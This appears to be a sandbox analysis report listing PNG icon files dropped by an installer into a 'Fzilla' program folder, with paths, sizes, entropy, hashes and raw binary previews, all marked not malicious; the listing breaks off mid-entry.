SHA-512:	4EF83B1542198DF78C63B8057AE8DAD778098F5F7D3923D3127A11FAAE56DF1AD8037383568232E1AB27E1EEC3BBD6A0665CD4F6D11DBDECDF96E718A44DEE47
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......Y...[<.6..D.hm....m..5......m.={2.}.tP+.3....}j..~M).<N.x?{..o.S...4~....6.l./..C..,..<..eO..j..j.......Ei.F..Y...U_.....RMU.g..).....A..6....K.A....3...;s\|.p:.B.2.m.F.P..;.........r.r>......._.F/_.J.....F...o..\.....5....x>...... .O..._>.."..W..M.....QN..'.]....#.!UQ%U.).....P..~...k.'..K<.(..N.p8H.\|....?.l..S....Tcm.......@.....C....i X....S6.\|.?s^GMG.....+G....p]...)...s......?U.c..#...p}..=ao=.;..1...SZ..N..x...j...........p..d.N.R.94....?.......XG.Iu{.L.^.........\|K..../ =.=..E.R7.......`..C.".............Q0I..... ...<@...J...DO.os...Q.o.~...\|...M1W.1..:.@x..t.!..`...6...~..v]\|-.Vw... \|..m......\|.;../<z..w.Z..jrM.....9c].\~.O.K..<O1.n....g_]xd.pe..........K;I^.I.V.......N....].O>.W.W...Rc...t.~].y....?.\|....k.Z%M..4...RZ,.Q<%...O...~. ...c...2..J...}.F..i=s..BK.~.H.h....D..h......Gsi...4@.i.)h...7.L...PN6...........IJ...G:...S.i..D-r.AMr. .Q.`.5.J.(...H.A.TH{.a......./5.f4........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.716830127199217
Encrypted:	false
SSDEEP:	24:QbwM9ADGPGFe6NcdkZ/W+sxMtdG4iy87cZy46BnFrPQiYgN:Qb9SGPGFe6KmO+AX4ihcZy/nh/V
MD5:	E13B8306B9F5EF8F69247FA198CE998E
SHA1:	C8C111F17C2A80F4EF237F2127B65F7C9070CFC1
SHA-256:	12598DC838FCB1F85992565B4877328C2EC7E473BAD7C89762E915FA7C780700
SHA-512:	07FFEFFE0AB8F3B47517608C225ABD185691DBEBDB749B60728A7FA7FA38F7A5ED61A380B31CD88E4B15FEB5015AF9CB0C70104B1345DE111C2A7EF37FDF19F2
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....#i...m....c.m{..`..G.m.m.....uuw..lMW}./..{n...!".........dV$g\|..}.]........e.`n.....c...k.]........5..t(.1..1..\|#.......+eLp.M.]......C....`.M...j4........A4Ja...\| ...E......<..5..@..Vb....:...`ofk1..`wFk1.....F.R^..'.3.........R..@p..R.IQT..)oMn/EQ....%...y..mJ...^..!.Sy(kic\|.Z..;>.rN.....n..>..1W..\.p....9.:\.].5.q...B....m..b;.u=..&...@.H..DR[.8[..bMt.jn}....ZaUD..@....25.z=..$.g5.v.....q[_{.I."..P [.?.ij...E....../....Y.....i.(N..)...<..>.4.G....$..7O..'...G..uK..A^..8.gG !Q...FK.e.j.cF....y.{..xa`....z._..,....j... .W.,.%.........G.f......2............}^.9k..>.d.uz....g..GN.S.......r...g.7.?.3U?.....q..+j.i.n.0 ;...F........)/.3U7(W.....U.q......5N.u....2.[,...K,.a?..t...p..qo..!4.kG.....w.0....>>[...9\|......I9.....4......` .0S..j..t..~.:o...N......j}/.Fe8..@....4g.B...h..,.......'.'P.?.....@..b(.P...?U\.....g..Y*...L...}:.1.....A..`.....5.......!......R..,\|.,.....Cn.../do;V).....IEND

C:\Program Files (x86)\Fzilla\resources\sun\48x48\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.29199762493743
Encrypted:	false
SSDEEP:	6:6v/lhPHb7RBhA6njljS+dvns4v+02CKZ+cSQuUurCdI1UQgTGip:6v/7jXnjljSMs4G02rTuGIiao
MD5:	DB8361145C750E48A71A28FECB7816A2
SHA1:	CDF713775F049ECB25FC8C46002563AAD244111A
SHA-256:	E48CEC64DB8996CCC8AE60630DA8F37B2507EFDC48F94957D363F63190B7AEA6
SHA-512:	A941DD62D65F1CD73C991AD75936C1CCBC08D7BCD4F66264F9341F665CBC211B20EBAC24CEABD975817B9789927A0C9A47B6125DFABBDF066F8512FBFFBB69EC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......=IDATx...j.A.D{.....#..r...u.(t."..]..<zk....M,....-p...L?.7..%..(1....x&L. '...@...`..@...@...8..$...9..y.{..p.g.~.E"...y8%V.....xzN/.e...nfl..'...+...Jl%..[.M.Jl%...'Vb+..8...+.C.6...b=.T?..F).J.R-.S...^U.O..Q.:.......cR... .. ....;x...<.G.1..W..<.._..m0..*...K....O@L.."..p...........'.C.. :p..o....{.j...u.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.6294058239299885
Encrypted:	false
SSDEEP:	12:6v/7wjCBmGpww1es4ShHiHmPiqnEtKbFHC3ruHGkgTJjyjD7lJI6ClDpPnZi3XN:UBmq0sxopcTbFwuHqW7s6Clm39
MD5:	6CFC69949D44167746C8B36E3A5443D9
SHA1:	330A666E06EB885A3B3F82FC53911C111DF1DB69
SHA-256:	20B086F67B1F3C8C7776787C01F4103C41086077A5D6BA419C2A4E5C628D28E2
SHA-512:	33F5629DB440FB2D6627CC7677437A2572DB7FEA40326B17CD6253331CA51CB82BDFEAB6E18809145CED1C93D2F41528591AE87EFE48BFA796B32A3A61FB7AEB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....dW.....Y.m.m.mP.Am..j..m..{........d...p....f..V.pn.5.g....w..M...%8..D...x..X...........\|......rJsF.{.DU....P...U.C.Z...5....l.......E............t#....:..C.....2.-..).0.-P...^....Q........t.x..lg.R9...l.E.<.W...`..m.B....$vTF..Kb...0$.4gQS1.C.{?#.......0....b..qU.. .....>..B..U...H....FbOfd..$v"!j..S...dd..L.OR>`.t.5...BTi.b...e[..).0.m.v}J..J<-./).....$Z..NN..h.@b..h..~.M...V...Oy.h..9..ux...~c..e6.h.X..7..,....\|S...9..X.......#..L..,k...p(..x...b..e5.bN...4..l,..l.....^...r.....:.23m..JFt0.K......?.0.J.&.......5k....I.O.z.c>Va+......^g,..&.5.p$......s.M#..H.....l.....\.+.A`j..sn.X.fW6f9.&.D..\|.ev.gM.a?.....[.2).Q.....~.`/.d..fV.i....+O.FZ.Afc>.e.Vfu.d5Vd).bnfc.^:J...J..5.H3-....^./..9...M.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1367
Entropy (8bit):	7.797304360371989
Encrypted:	false
SSDEEP:	24:xfVCr9VY++gSSLG+Y1zAHlae0D97xGAivFAGiVdnIxP3IkPm4/TXtMYZ1:xf4r96++gSF+gsFohxGAivFiVZMP3NPz
MD5:	AC4EE9FE044C51B0362EB449DBD7833E
SHA1:	42D2E6BDFFF0EEB86C6363B6E3416E3185C68C5F
SHA-256:	713D47E025DFBACCB2F937C06764305674457022BA0B0B4DBFD55A049092D7F5
SHA-512:	41A3324A1C4D2C8FF5B61FF7C5AA1543CA8DC0A47D47E487A2A0E41C91BF3829C6223FA99CDA0C2FEF69539806E01F75C115872439620A82F0E31D4098A11868
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....p$....O..m.mk.m.m.6.Agm.Q_.C.T.ov6=..U....?...4........$.....-.2.O...2s....{...'. .g...(4!m\...i.G...H8....X.....s.^.q.. ....s.)...... ...D..o.\|M.H8..oD...._...."H7?/PL.!...........wv...+].O..3f.#.6..k..}}..n.w.Ma.2.:.........t.ZM.$a.......j....,P[[...N3...{k/...t.{.M....>~.......n. ..2kt...ug.zh.sN?=.... ..TY.pCC.}.ft..w....G?J....J<c..2..Q..~.E...{X6z.....\|..g:.3.>....-4...&.R....n...ec~.a..)....<.Yt...miI.w..............;..s...4d..>Wt......yN.3gF.(b.g.o.......r.<!.ad..4d..{.9i........t....R.....iHB..h.@..\....0P....~..BUV...f.g.$.8.b.(>.3...l...e..*.Ko,...hQ...7.6.("6..J...@....}#...?.2...!..!.I...._...dG...0~..,...5.. .V.6.z..%a..._...G.o}.fG.....,....s%..yR\|..:...\|....n....M.@..Q......fg..).._)..B.}\|...<.....g.q.<i.Y(.OT.2D..u....ncS...[.....S...P.,g..3...D..7._.?.x2 ...1..-..........@.O.....hE;......\|9.'[{.......-..Z......'p./..d....wp...~....V.....q,N..O.~?g.$.....\..Sp4.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.405255915103047
Encrypted:	false
SSDEEP:	12:6v/7lVVM2ulVXlNAQqk41Z/EdcEPZVaHvudLjteXYFtbq7Q:vVXLAQqp1VEP3a0jLfqk
MD5:	41AEBB7C178D1149445D76AE2E8279E1
SHA1:	3158331BD0F2D6E5A382BC6964CF04F6409D4B2C
SHA-256:	24DA9AD9339D5CBFB3B7D19C6DF4C3FF6910DD22A5A0831919831A2C226AB82F
SHA-512:	5C8B1334C31D7C5C204AEA5F03550CFD76C3190F4F42569F864BE5A49618972B9F87996251BC59592D8286C8166D7BCB88809F46061A751EAF20EEF986388E7F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...Y.....6...j..:.....(.+....9.0....[....3..".F..l.Vy.@#......X6....2]...=.1.."...@..(...p....r..6P...K....*.......p..0.....wF...+.k.%..s.E..p.Z!..2.......`Y.-..%........0zE..`...K..!..;....r..b......X.X^4.{.a..1@x.....`..&@...B#0.... ..u....M..%..&.?.g.6@Z_.w.R.\V.....-..... ...._......`...^[...m........y.\7H.[<.....a.Y.Ya.-v9..3.x.G>...-..r...l....L3N?.T...... ......m....5E.PF.U.PG...F.M.SC5..QJ1ox....{. K.(!......A.D..#F...I.iH.%G....H...'N....B....D.....m..g....7..F.Y>..n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.3634051951422395
Encrypted:	false
SSDEEP:	12:6v/7tgqA4nr5TneO+aDvLKB9KHWQ34DLoUn3LTEUdSaI:mA4r5TneO+aXKByWQ3bC3LYvaI
MD5:	D96E11FF0520E77E4764FAD20C30BB54
SHA1:	6FA68B7DB0DE26F00134ECB1AF2688F96BD8B020
SHA-256:	7EC5BDA097B5D66FFD7ABC25C0FD6256B795CAAA969DF893D648C6A7B1E2C5CC
SHA-512:	FC40A4EBFDBF1B56CA726AC04819447F7F53415D1E635901526A1DF0442414E4EE33DA00EAFD8AFB7DC3EF4A31A682E14803F8F4E3367D7D4AFAC1E161306A4F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..5..A...s....t.%.s.%-N.S.5..........v..I..p>.......;.T......+^.^.{.-A.~........mn...........&.et<.B^..x./.........S.............8"....nBa....D..+N...E.';.z$..Ot...,.w....\|2x....$`_....~Xq.r.Hxy.^....].v............=..!..d. `(..U......_.:.2TV...N.....X\|...3x7...# .....%.a..'...P..$..........T...*P..&....I.O1..f9e.Ai....CZ&_.O(..wf.%..%.d.%c........`..h_..f.D.w.....D.QL....S..............a.........J..+n.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.267829646538733
Encrypted:	false
SSDEEP:	12:6v/7V/+9ZfQsyoNyaBobdW59TNY0ZsiO7zUYG8sUWdlN:bfhNnlNYivODu7
MD5:	1B502DDB1728B98A357A62BB20C81CC1
SHA1:	7DC9D0F10EA8587F23B9F45700964A2E149C5F53
SHA-256:	03B16F81B5CEE7340D7B222BEFE63E03AD08321838E517FD8F843A2536295A79
SHA-512:	0E3C4D1904F2424EF884966D9D8CF78D8B27DECAEFDFB3284B4E14AD661E27099C100D90D7B72FE5C8AFA198B8CF20EBEB12AC0EB8F6ADE73AB6AF96FB58BFB6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......lIDATx..5R.A.Eo..5...U..6./.."\|...`....6M..n0..z...;.b....Q..F..L.6]. WQ...y<.Hao.tQ.(hd.....,...h........@.....>d.-SD..^`....~.h.....o.W......L .........?DB./.....i........=..)6\.g...<.9....t."/'..!Ht..9..Px.a....ZVS.....z#.9}..?...Q.cL...Q.uT..JG..D..C...m.....n.Kxs......b.....2"&..@.........!\|..?.E..c\..*B.Rj.\|T.%.R...K^.t.4.pA....U.....A...R....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	504
Entropy (8bit):	7.305502415484808
Encrypted:	false
SSDEEP:	12:6v/7JLisGBfPapxgY70nwZ+23Qblu7N3w:A85Spp0wZ+uQBOw
MD5:	406F48B09D2D93776759412A436A4995
SHA1:	18B89A668EF32193A4F2849F76B421EC715EAFD7
SHA-256:	72582EE83B8A49F37F3C507CC750FAEC1F464BA522BF75B2D8067FA51764659C
SHA-512:	D3AC8550B583D6AA78BED286D2BF39BB9748F3A5C7D5C4193E34257E809FD83C25C6E5F7C89EF625A6A4EBD186003ABC0DBF59FB9610887AFE8FF8375B9F79D8
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..%..q.F........X...5z..4"T4.N..$,...\~.....=3...^.X$.@G1..^.6......4^...G............2..A..\F...&.r..C0....L...n.z..>\....$0......w..=....N.......3.@.9<....0.2.m..G.m&....a.Y-.:So........?.8.<......0....O.c$.,.......v$B...{....\|?.......Ut.*.?.?L..g.._@.oN@....D.`.^e...o....~ ..........L...G.....;.L............x......0......@/...h4n..=..$/.i..w..\|.\|.>...../E.I.....iE@./.....,..%+...eT@...W+BB#m.O.,Jh...U..n..D...?.&.1%69.i.C.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.79435380299007
Encrypted:	false
SSDEEP:	24:OlVzLGIx0UJHZzHdkrMmtkKfvq9c9qDSR0SMeOY1zsBoR6FaXn6sLXMuW:OlBL0URxHduTl69cDRDMe5sNGLMuW
MD5:	F5F0BB85D4971596CD27E2F91394CF10
SHA1:	BA53DF9C2D0743D220647E7AF390BD54CC09D91C
SHA-256:	01168B16079059729EBB8C8B1469C2B65D09BD6347D0E1D03E2C0D437748E71C
SHA-512:	04A9757161C07720596F7DD59783A3DE96EC66A167CBE28EE1B71BA165FBC2D7795A0A872527BCF172F4604E9022D97F1673390EE46176F31F66A98FB7E44178
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......2IDATx...p$[....mll.~.m.m..`..mG..?U.^Me{.;..w...${.....'+a.f^.9%..w.U..a....O.z....>0f......W......w..0W..N...q....3..`..d0.L..q.M..k.F..."3^.7}o..L......{....h.j.......(....E.Bo^.j..p..V.ZM...j...Vo:.].ZZ..e...-.Z...._...x...S.3[u.:W........f.b.eG...4m.h...Mf.\....(..=W....,..l...q......Z.v..JP.F.7.d..Ym.c....y....4.L.......:..5..u..:>...Ddjl...(.....=O.......U.s2.K@.@.S..~.3.......N..s.P..-D.5.`. ..m..>;M=...z..k!.>.1.k..[m...........g..._)D@.~~/.^."..9...u ...b....'v?G..-`V.%..o..Y...g...A.:...g...9.U.t.A.Q-..a.p>[..\....o.'/1.E.<V.....;...... .PV.....>.[.....r.c.Rv2..pl...b.VH...n.H.d.X...x.Wh.....H.kg!:}...=G.T..q.F.....ynA.Q...&....x...0...QT..a...F..F.vj.z1.W.W..F...}N.;1......M@..f...o..J4N.j.0\|'HQ?.HP..+..K.....{.J.m[%...i...X.`.h...L8....}....Z.-...`S(...d.._.XR../m...r.x.:..u.e\|..<..z.5.%.$...B"..d....x...@i../]R...3..W..'}..5.P.JA!. ..@.....$u.d\|-h..Y.?rcm.3e\|..4......m..4.j.O..<P...)....Pp48.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-09HMG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.5877230014480475
Encrypted:	false
SSDEEP:	24:I2tv0v10NaUBGpbS5pCn9SyoGy78vQIcosHuY9:IrcLGpbGySyP5Q1
MD5:	E5B9EC99980236547FB555C888093AD4
SHA1:	FDBA41B9356D5D39BB98CC96A202032C0D344F4F
SHA-256:	721FB1358B80CC813773AD5BD63C4F895BD5BE7C1769C31E0BFE8F6FD502AFF3
SHA-512:	EE44D198D65BC36C3038A0BB9B7BF01E822B3EFB5925F76FF2468C12C62CFB8E942D955CFFA9793B133352420AD0F924965E8F7CDFA05C438DBDD3AD015FA5CD
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..C..A..3..m....m..km...-.Ysz...PkT/..>...W.....$... ......o...X:..F.@.................i...24.....4m.p.U......1=......:k.T.b.044.324jU..#......l.H..:..k2..c_..CQJk.?$..[...........".,..;p..K.&.[.$....&1..m.RR1..xNWY.i..z..u.....Q.2\|.z..@.@.@.@.x..d....T.......p.c.l.....&3..`..F.B..x.L.M.c.`......F...3.c%.@'qj+ .g.......n..!......`..8.....{.......H5(w,<.#\.....,.'Y.. @.5.f.......@)D..)yNOU............{.......z.Q..P.U.;.4....Kq.h..N...QM..+!.;. i.i.8..u!+...4....<..n..@W.y.....C..t6.....9E)mr.=....o...P+.*..O...3....v....y@.v.G/.....2.../......<..r.P.Y?[..h.,U..i\....@6BT:.y .Ex?.8..Z..b....Dk..%.<P.NW3\|F....J;-.@O..;....f..>@..KD..Z.}..H.A7:.....R+1....T.V"..tf!.....B....i.N...z.d....L..t..t6.i5......... ....E......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-0S4OC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.655436577701397
Encrypted:	false
SSDEEP:	24:+x2cjjk7fsUHjJ30L9wZATp1zGIDFZjo/BbRb:49ggUHjVhup15Zj6BbRb
MD5:	E7D43FABA715A2EB24B94E1CE8A573C4
SHA1:	AD602F4D40FF7903939DF2BBE773F7371AEA9DCD
SHA-256:	ABC5391C49A4746F2E07D0DCD889BD07985BE9FF916A6DF63B44E2611C7CFAE8
SHA-512:	0F6520E5453F4BE9B89DB78CE10E86EE7C060451CF36CD3E52602F4319733F8345162C1CC2CFC651F556CF301751A962F11459B72411C40560AD2EC9F178C41E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....4g......m.m.m.m...m.}..l.e.M......(............s~...\|...@O...\|...<.....Su@`..^i......GO...{.f.( 0].#.\|..>.>.......V).......F`.....d8.."...8-0I...YS.....r....8@A.7x2.U...R..f+....M..D....rW`...i..DU..9._.rl..........^.Z...>...i..D5...x....o.U-....X.O@...Q..owwGo....{.....o..\|......\|...-..9vE.. .M...-./_zD.t".5...w..._.. .g.4.o.....(...\|..Y~.k@...z.x.t...O......M......$..u.8.......E#...8.x.O...q...("w..E.:?....}o....5.xr.{%^..Z...5.b..4.....%@....D...N........).....@3.........L..vb..x...4_..:...a8:...hD..aBL.Y1.l.$.W.....s`.L..0.-h...m..I1+..bXbk.}.\%.o..i..%.(..L..C(...x...cy..5.g.[y.....`{...X..`~L.1.$.......3c1....)6?....2.#..N......ae,$....f....i2......NKp..<.R...s.<.{;r.v.....a.L,.m.g........07....../.)g..#En.......\.].5.....`(Z....H^>...1=..*..;....q.=\|.....)........6.<...6...Sc...=^p..81...t`..c...d...`n..1...L...c<..0t..FC.....6.......oYF....z.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-1JBNT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.624463959445692
Encrypted:	false
SSDEEP:	24:0KKL2uJjklKGOSMfHQL6h+Pl0kssZxOJn9iM:0gWjkwGVbLdTOJ9l
MD5:	2DD096CFD1E5ADF70EB009A39246D77D
SHA1:	7F438036CABB033A56961A51A1DE382B0BD523AB
SHA-256:	1DD1F82AF488876787108D8A9F6DAD338B8813B2DAEFD3BA2227CBF0DA2CE784
SHA-512:	F1CB63BFB0794BB3B209D51B4D49CB47E0CFF5630E00CE349B1926C69F8B1F381A689F407E5AD5405CFECC08A4FF51FE1B84F2FDE6F85DDFC26BC9B4EA093E61
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..!..@..k.7.o;.A....B\@...P(..3.O4yyY..hi.t.........".}.h....h.].......k.v8.b>...r.[...c.Z.o....T.Y.5...6...C.....9..".9....i.`.\...Rr.U..."\|.....'.@....0........@.k..... .=....J.....f..5.h....p...P..yF.C.......4x.n.8.N}.7..o...N...<\d..]U/O.sQ5.@.]..O..x....T.]..i........tN...X.....b.....&..ZH/..Q..cT3)@I.p.".<.ZH/..C...(4 ..@...K.x..a\|O.y.........q]Cb...(41...H@....A.\9.\....c{ ..Fdq7..L..u.S....(.B?R..os....p...B..D..K..@crzhl..Vw.j.....dInH....Wc+.mr.y..l.....A[../aP.hl.t..........b?8....@...E..>rc..4.~.........._.m.......4../..nn6N}.qO~x....BC......F..........F.......XD.....b...Z.i//.y....??.5OO..)....p.k.Y...)...U,a.s.D.ZP.<d.1xA..C7Q.@.".......hE.z1.a.X..B?z.&...."....../........e.. !..._......f........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-2BEG3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	999
Entropy (8bit):	7.636019833972538
Encrypted:	false
SSDEEP:	24:FDy6ihL3rvhfLMqTzOPMOQZBARl9/YtlJ9HjdoZtjkDieBQ:1yZpxLMcmi0jQtlzDa3jD
MD5:	7C2CB5B9436962404FD7CD88BAC15376
SHA1:	F98599F0BFDA9FFFACFDB089CC7063A8DAA1A705
SHA-256:	E2298622E67F7266036058D8AEB2E282CFFF55EC50B3956F22A2BF1F6643E38E
SHA-512:	7234F05A6E1703096028034F64A87C5DF02932EB8B726AA76B4C165A45FB752F2979B9E322707DC6CF6DECCF96C3664B590D0E5BFABBC53EF46E0F3DEEF98337
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....,I....m.l.m.m.m...u.Ml....7.....6.Ue[.$.u...0..,...^.2oU.:...{.7.<X...YZ...".S............S.( 0Y.....Hb......5; .Q.rL.9....5. 0N...I..q.q......M.....u.i...i_...dbJ...tu.........M.q...9....z!'.o@.M.I.....]...L.<..%@...K4.P....D...5..)^...&g.~.,..(.w i{.4n..<..m.P..l@zJ,i..46..T.j8.\..x.k..@.b&.9^.N..e..\|4........'.$..H...Gk9@..k@....m.9....{7~..g.....qx.T(g.^`...H...)F ..,'.\(.g...rz4.P...6.i...h....Wd..e.%e.4.Q...+.....qT...Ty..w%.....7.4U..,Y......;.QB9..-..E.....GGtG..x.k#K#m1.)P...F7tD...v....10.V.....'...E><.U0.FC.tC.....~...bZ.#k<..1...8..1............@.....s`>,.1....Z&^...8..`^..0&.d.....Sbn,.e...lz-..D.O..........C..i......aj......Gs.\|.L.4~...>..jX.s......v...rb<....6.V.p..<...5...xmK.....k`1.......>....0.f.bX..a..9.......I.E......<l.....t..}.....d......sb...-......x..4....M.1>.....rl...$f....>.q..{N.v.N.^.A...aRL..1;..l..Sa"...0....i.h.O..q:....k.tF..$..g^..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-2OPLC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.79435380299007
Encrypted:	false
SSDEEP:	24:OlVzLGIx0UJHZzHdkrMmtkKfvq9c9qDSR0SMeOY1zsBoR6FaXn6sLXMuW:OlBL0URxHduTl69cDRDMe5sNGLMuW
MD5:	F5F0BB85D4971596CD27E2F91394CF10
SHA1:	BA53DF9C2D0743D220647E7AF390BD54CC09D91C
SHA-256:	01168B16079059729EBB8C8B1469C2B65D09BD6347D0E1D03E2C0D437748E71C
SHA-512:	04A9757161C07720596F7DD59783A3DE96EC66A167CBE28EE1B71BA165FBC2D7795A0A872527BCF172F4604E9022D97F1673390EE46176F31F66A98FB7E44178
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......2IDATx...p$[....mll.~.m.m..`..mG..?U.^Me{.;..w...${.....'+a.f^.9%..w.U..a....O.z....>0f......W......w..0W..N...q....3..`..d0.L..q.M..k.F..."3^.7}o..L......{....h.j.......(....E.Bo^.j..p..V.ZM...j...Vo:.].ZZ..e...-.Z...._...x...S.3[u.:W........f.b.eG...4m.h...Mf.\....(..=W....,..l...q......Z.v..JP.F.7.d..Ym.c....y....4.L.......:..5..u..:>...Ddjl...(.....=O.......U.s2.K@.@.S..~.3.......N..s.P..-D.5.`. ..m..>;M=...z..k!.>.1.k..[m...........g..._)D@.~~/.^."..9...u ...b....'v?G..-`V.%..o..Y...g...A.:...g...9.U.t.A.Q-..a.p>[..\....o.'/1.E.<V.....;...... .PV.....>.[.....r.c.Rv2..pl...b.VH...n.H.d.X...x.Wh.....H.kg!:}...=G.T..q.F.....ynA.Q...&....x...0...QT..a...F..F.vj.z1.W.W..F...}N.;1......M@..f...o..J4N.j.0\|'HQ?.HP..+..K.....{.J.m[%...i...X.`.h...L8....}....Z.-...`S(...d.._.XR../m...r.x.:..u.e\|..<..z.5.%.$...B"..d....x...@i../]R...3..W..'}..5.P.JA!. ..@.....$u.d\|-h..Y.?rcm.3e\|..4......m..4.j.O..<P...)....Pp48.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-2PNBP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	720
Entropy (8bit):	7.5454595416350925
Encrypted:	false
SSDEEP:	12:6v/7/i1pq+GYaZ3WfbnmxxL/GMeHU+lCb8u4ezyYfyMO/oHU8nV8qasXjt9IiOAO:zAYDLmxxL6plCb8czhfyYU8WUAdkK
MD5:	2B3064DC53FB2A3133B0F7D6486A8DB0
SHA1:	D9A117A5439063CC45959D0D96B3E45F0CF7B3DD
SHA-256:	E034152A92453C31DC88F1817DFA013B01661CB542E56E4A3EAB9FB6F987E5EB
SHA-512:	228F2169CFAB9B908E9232AD6DE00FDC758E97F981DA2F7F692B0620162B23C067EF3CE69C1B1C16B83FF45B41C9479C8E402982DCA3FCA0AF29AFD9C24A8942
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...QC1..=.C!T........P..P...s...%k.......^...B........,..K...@z09.x.)..0.2....:.i4.R...6...\|..h:K.....S..Sd.y......R.w+.!..X.....T\....+...Vm.C8..^.j.........lO.......sn.M}....\|g=.Y.G..!.2f..u,...yF.......Y....o.\s....=...NX.)...Wb3}.....@i....Y.l%..`Cv..FZ"C..D..Y9.....>...43....5.o....AF..?Ip..g.j........ZZ..y.:..B.8.t.@..f..'..........~..om..d...l0d.{..*...>...4.n).-.>..=.N.@.P\[... .........`...bYUn..P....L.?.J...P..4..=....P..g..m.g...s....K&\o.Hr..\.!o...f.....c...Xb.5.Ye.E.f.....Zi..R.q.K.'G...?....'E.....g9.E.s....6w..C....<.1....nq.k\...8..Nr.}dI.%D..=....&B..8X....&K.<92.I..s!.#....!..~x.-...w.>...........3.f..v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-32SIT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
